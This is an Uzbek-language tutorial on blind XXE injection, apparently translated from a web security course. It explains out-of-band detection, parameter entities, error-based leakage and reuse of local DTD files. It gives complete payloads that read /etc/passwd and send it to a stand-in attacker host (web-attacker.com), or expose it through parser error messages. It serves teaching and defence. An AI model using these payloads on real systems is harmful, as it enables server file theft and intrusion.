Ushbu bo'limda blind XXE injection nima ekanini tushuntiramiz va blind XXE zaifliklarini topish hamda ekspluatatsiya qilishning turli usullarini ta'riflaymiz.
Blind XXE zaifliklari ilova XXE injection'ga zaif bo'lgan, lekin o'z javoblarida aniqlangan external entity'larning qiymatlarini qaytarmaydigan holatlarda yuzaga keladi. Bu shuni anglatadiki, server tomonidagi fayllarni to'g'ridan-to'g'ri olish mumkin emas va shuning uchun blind XXE'ni odatda oddiy XXE zaifliklariga qaraganda ekspluatatsiya qilish qiyinroq.
Blind XXE zaifliklarini topish va ekspluatatsiya qilishning ikkita keng usuli bor:
Siz ko'pincha blind XXE'ni XXE SSRF hujumlari uchun ishlatilgan usulning o'zi bilan aniqlashingiz mumkin, lekin out-of-band tarmoq o'zaro ta'sirini siz boshqaradigan tizimga keltirib chiqarib. Masalan, siz external entity'ni quyidagicha aniqlar edingiz:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>Keyin siz aniqlangan entity'ni XML ichidagi ma'lumot qiymatida ishlatasiz.
Ushbu XXE hujumi serverni ko'rsatilgan URL'ga back-end HTTP so'rovi qilishga majbur qiladi. Hujumchi natijada yuzaga keladigan DNS qidiruvi va HTTP so'rovini kuzatib, XXE hujumi muvaffaqiyatli bo'lganligini aniqlashi mumkin.
Ba'zan oddiy entity'lardan foydalanadigan XXE hujumlari ilova tomonidan ba'zi kiritmani tekshirish yoki ishlatilayotgan XML parserning ba'zi mustahkamlanishi tufayli bloklanadi. Bu holatda siz buning o'rniga XML parameter entity'lardan foydalanishingiz mumkin. XML parameter entity'lar — bu faqat DTD ichida boshqa joyda murojaat qilinishi mumkin bo'lgan maxsus XML entity turi. Hozircha siz faqat ikki narsani bilishingiz kerak. Birinchidan, XML parameter entity'ning e'loni entity nomidan oldin foiz belgisini o'z ichiga oladi:
<!ENTITY % myparameterentity "my parameter entity value" >Ikkinchidan, parameter entity'lar odatdagi ampersand o'rniga foiz belgisidan foydalanib murojaat qilinadi:
%myparameterentity;Bu shuni anglatadiki, siz blind XXE'ni XML parameter entity'lar orqali out-of-band aniqlash bilan quyidagicha sinashingiz mumkin:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>Ushbu XXE payload xxe deb nomlangan XML parameter entity'ni e'lon qiladi va keyin entity'ni DTD ichida ishlatadi. Bu hujumchining domeniga DNS qidiruvi va HTTP so'roviga sabab bo'lib, hujum muvaffaqiyatli bo'lganligini tasdiqlaydi.
Blind XXE zaifligini out-of-band usullar orqali aniqlash yaxshi, lekin bu zaiflikdan qanday foydalanish mumkinligini aslida ko'rsatmaydi. Hujumchi haqiqatan ham erishmoqchi bo'lgan narsa — maxfiy ma'lumotni eksfiltratsiya qilish. Bunga blind XXE zaifligi orqali erishish mumkin, lekin bu hujumchining o'zi boshqaradigan tizimda zararli DTD'ni joylashtirishini va keyin external DTD'ni in-band XXE payload ichidan chaqirishni o'z ichiga oladi.
/etc/passwd faylining mazmunini eksfiltratsiya qilish uchun zararli DTD misoli quyidagicha:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;Ushbu DTD quyidagi qadamlarni bajaradi:
file deb nomlangan XML parameter entity'ni aniqlaydi, u /etc/passwd faylining mazmunini o'z ichiga oladi.eval deb nomlangan XML parameter entity'ni aniqlaydi, u exfiltrate deb nomlangan boshqa XML parameter entity'ning dinamik e'lonini o'z ichiga oladi. exfiltrate entity'si hujumchining veb-serveriga URL so'rov qatori ichida file entity'sining qiymatini o'z ichiga olgan HTTP so'rov qilish orqali baholanadi.eval entity'sidan foydalanadi, bu exfiltrate entity'sining dinamik e'lonini amalga oshirishga sabab bo'ladi.exfiltrate entity'sidan foydalanadi, shunda uning qiymati ko'rsatilgan URL'ni so'rash orqali baholanadi.Keyin hujumchi zararli DTD'ni o'zi boshqaradigan tizimda joylashtirishi kerak, odatda uni o'z veb-serveriga yuklab. Masalan, hujumchi zararli DTD'ni quyidagi URL'da xizmat qilishi mumkin: http://web-attacker.com/malicious.dtd.
Nihoyat, hujumchi quyidagi XXE payload'ni zaif ilovaga yuborishi kerak:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>Ushbu XXE payload xxe deb nomlangan XML parameter entity'ni e'lon qiladi va keyin entity'ni DTD ichida ishlatadi. Bu XML parserni hujumchining serveridan external DTD'ni olib, uni inline tarzda talqin qilishga majbur qiladi. Zararli DTD ichida aniqlangan qadamlar keyin bajariladi va /etc/passwd fayli hujumchining serveriga uzatiladi.
Bu usul ba'zi fayl mazmunlari bilan, jumladan /etc/passwd faylida mavjud bo'lgan yangi qator (newline) belgilari bilan ishlamasligi mumkin. Buning sababi shundaki, ba'zi XML parserlar external entity ta'rifidagi URL'ni URL ichida paydo bo'lishi mumkin bo'lgan belgilarni tekshiradigan API yordamida oladi. Bu holatda HTTP o'rniga FTP protokolidan foydalanish mumkin bo'lishi mumkin. Ba'zan yangi qator belgilarini o'z ichiga olgan ma'lumotni eksfiltratsiya qilish mumkin bo'lmaydi va shuning uchun /etc/hostname kabi fayl nishonga olinishi mumkin.
Blind XXE'ni ekspluatatsiya qilishning muqobil yondashuvi — xato xabari siz olishni istagan maxfiy ma'lumotni o'z ichiga oladigan XML tahlil xatosini keltirib chiqarish. Bu ilova natijada yuzaga keladigan xato xabarini o'z javobida qaytarsa samarali bo'ladi.
Siz /etc/passwd faylining mazmunini o'z ichiga olgan XML tahlil xatosi xabarini zararli external DTD yordamida quyidagicha keltirib chiqarishingiz mumkin:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;Ushbu DTD quyidagi qadamlarni bajaradi:
file deb nomlangan XML parameter entity'ni aniqlaydi, u /etc/passwd faylining mazmunini o'z ichiga oladi.eval deb nomlangan XML parameter entity'ni aniqlaydi, u error deb nomlangan boshqa XML parameter entity'ning dinamik e'lonini o'z ichiga oladi. error entity'si nomi file entity'sining qiymatini o'z ichiga olgan mavjud bo'lmagan faylni yuklash orqali baholanadi.eval entity'sidan foydalanadi, bu error entity'sining dinamik e'lonini amalga oshirishga sabab bo'ladi.error entity'sidan foydalanadi, shunda uning qiymati mavjud bo'lmagan faylni yuklashga urinish orqali baholanadi, natijada mavjud bo'lmagan faylning nomini — ya'ni /etc/passwd faylining mazmunini — o'z ichiga olgan xato xabari yuzaga keladi.Zararli external DTD'ni chaqirish quyidagi kabi xato xabariga olib keladi:
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...Oldingi usul external DTD bilan yaxshi ishlaydi, lekin u odatda DOCTYPE elementi ichida to'liq ko'rsatilgan internal DTD bilan ishlamaydi. Buning sababi shundaki, usul boshqa parameter entity'ning ta'rifi ichida XML parameter entity'dan foydalanishni o'z ichiga oladi. XML spetsifikatsiyasiga ko'ra, bunga external DTD'larda ruxsat beriladi, lekin internal DTD'larda ruxsat berilmaydi. (Ba'zi parserlar bunga toqat qilishi mumkin, lekin ko'plari qilmaydi.)
Xo'sh, out-of-band o'zaro ta'sirlar bloklanganda blind XXE zaifliklari haqida nima deyish mumkin? Siz ma'lumotni out-of-band ulanish orqali eksfiltratsiya qila olmaysiz va external DTD'ni masofaviy serverdan yuklay olmaysiz.
Bu holatda XML tili spetsifikatsiyasidagi bo'shliq tufayli maxfiy ma'lumotni o'z ichiga olgan xato xabarlarini keltirib chiqarish hali ham mumkin bo'lishi mumkin. Agar hujjatning DTD'si internal va external DTD e'lonlarining gibrididan foydalansa, u holda internal DTD external DTD'da e'lon qilingan entity'larni qayta aniqlay oladi. Bu sodir bo'lganda, boshqa parameter entity'ning ta'rifi ichida XML parameter entity'dan foydalanish cheklovi yumshatiladi.
Bu shuni anglatadiki, hujumchi xatoga asoslangan XXE usulini internal DTD ichidan qo'llashi mumkin, agar ular ishlatadigan XML parameter entity external DTD ichida e'lon qilingan entity'ni qayta aniqlayotgan bo'lsa. Albatta, agar out-of-band ulanishlar bloklangan bo'lsa, external DTD masofaviy joydan yuklab bo'lmaydi. Buning o'rniga, u ilova serveriga lokal bo'lgan external DTD fayli bo'lishi kerak. Aslida, hujum lokal fayl tizimida tasodifan mavjud bo'lgan DTD faylini chaqirib, uni maxfiy ma'lumotni o'z ichiga olgan tahlil xatosini keltirib chiqaradigan tarzda mavjud entity'ni qayta aniqlash uchun qayta ishlatishni o'z ichiga oladi. Bu usul Arseniy Sharoglazov tomonidan kashf etilgan va bizning 2018-yilning eng yaxshi 10 ta veb-hacking usuli ro'yxatida #7-o'rinni egallagan.
Masalan, faraz qilaylik, server fayl tizimida /usr/local/app/schema.dtd joylashuvida DTD fayli bor va bu DTD fayli custom_entity deb nomlangan entity'ni aniqlaydi. Hujumchi /etc/passwd faylining mazmunini o'z ichiga olgan XML tahlil xatosi xabarini quyidagi kabi gibrid DTD'ni yuborish orqali keltirib chiqarishi mumkin:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>Ushbu DTD quyidagi qadamlarni bajaradi:
local_dtd deb nomlangan XML parameter entity'ni aniqlaydi, u server fayl tizimida mavjud bo'lgan external DTD faylining mazmunini o'z ichiga oladi.custom_entity deb nomlangan XML parameter entity'ni qayta aniqlaydi, u external DTD faylida allaqachon aniqlangan. Entity /etc/passwd faylining mazmunini o'z ichiga olgan xato xabarini keltirib chiqarish uchun allaqachon tasvirlangan xatoga asoslangan XXE ekspluatatsiyasini o'z ichiga olgan qilib qayta aniqlanadi.local_dtd entity'sidan foydalanadi, shunda external DTD talqin qilinadi, jumladan custom_entity entity'sining qayta aniqlangan qiymati. Bu kerakli xato xabariga olib keladi.Ushbu XXE hujumi server fayl tizimidagi mavjud DTD'ni qayta ishlatishni o'z ichiga olganligi sababli, asosiy talab — mos faylni topish. Bu aslida ancha oddiy. Ilova XML parser tomonidan tashlangan har qanday xato xabarlarini qaytarganligi sababli, siz internal DTD ichidan ularni yuklashga urinishning o'zi bilan lokal DTD fayllarini osongina sanab chiqishingiz mumkin.
Masalan, GNOME ish stoli muhitidan foydalanadigan Linux tizimlarida ko'pincha /usr/share/yelp/dtd/docbookx.dtd joylashuvida DTD fayli bo'ladi. Siz bu faylning mavjudligini quyidagi XXE payload'ni yuborish orqali sinashingiz mumkin, agar fayl yo'q bo'lsa, bu xatoga sabab bo'ladi:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>Mavjud faylni topish uchun keng tarqalgan DTD fayllari ro'yxatini sinab bo'lgach, keyin siz faylning nusxasini olishingiz va qayta aniqlay oladigan entity'ni topish uchun uni ko'rib chiqishingiz kerak. DTD fayllarini o'z ichiga olgan ko'plab keng tarqalgan tizimlar ochiq manba bo'lganligi sababli, siz odatda fayllarning nusxasini internet qidiruvi orqali tez olishingiz mumkin.